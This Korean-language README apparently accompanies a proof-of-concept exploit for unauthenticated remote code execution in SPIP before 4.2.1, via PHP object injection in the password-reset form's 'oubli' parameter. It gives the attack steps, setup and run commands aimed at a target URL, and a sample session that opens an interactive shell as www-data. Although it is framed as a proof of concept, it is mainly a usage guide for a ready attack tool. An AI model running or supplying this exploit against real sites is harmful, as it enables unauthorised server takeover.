
SPIP < 4.2.1의 비밀번호 재설정 양식에서 PHP 객체 주입을 통한 인증되지 않은 원격 코드 실행을 위한 개념 증명 익스플로잇. CSRF 토큰 처리를 통한 대화형 셸을 제공합니다.
SPIP 4.2.1 이전 버전의 인증되지 않은 원격 코드 실행 취약점입니다. 비밀번호 재설정 양식의
oubli매개변수는 역직렬화 처리 오류로 인해 PHP 객체 주입에 취약합니다. 조작된 직렬화 페이로드가 웹 사용자 권한으로 서버 측에서 실행되며, 출력은 응답의oubli입력 필드 값에 그대로 반영됩니다.
/spip.php?page=spip_pass에서 anti-CSRF 토큰을 가져옵니다.oubli 매개변수에 PHP 직렬화 페이로드를 주입한 POST 요청을 보냅니다.value 속성에서 명령 출력을 추출합니다.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
예시:
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data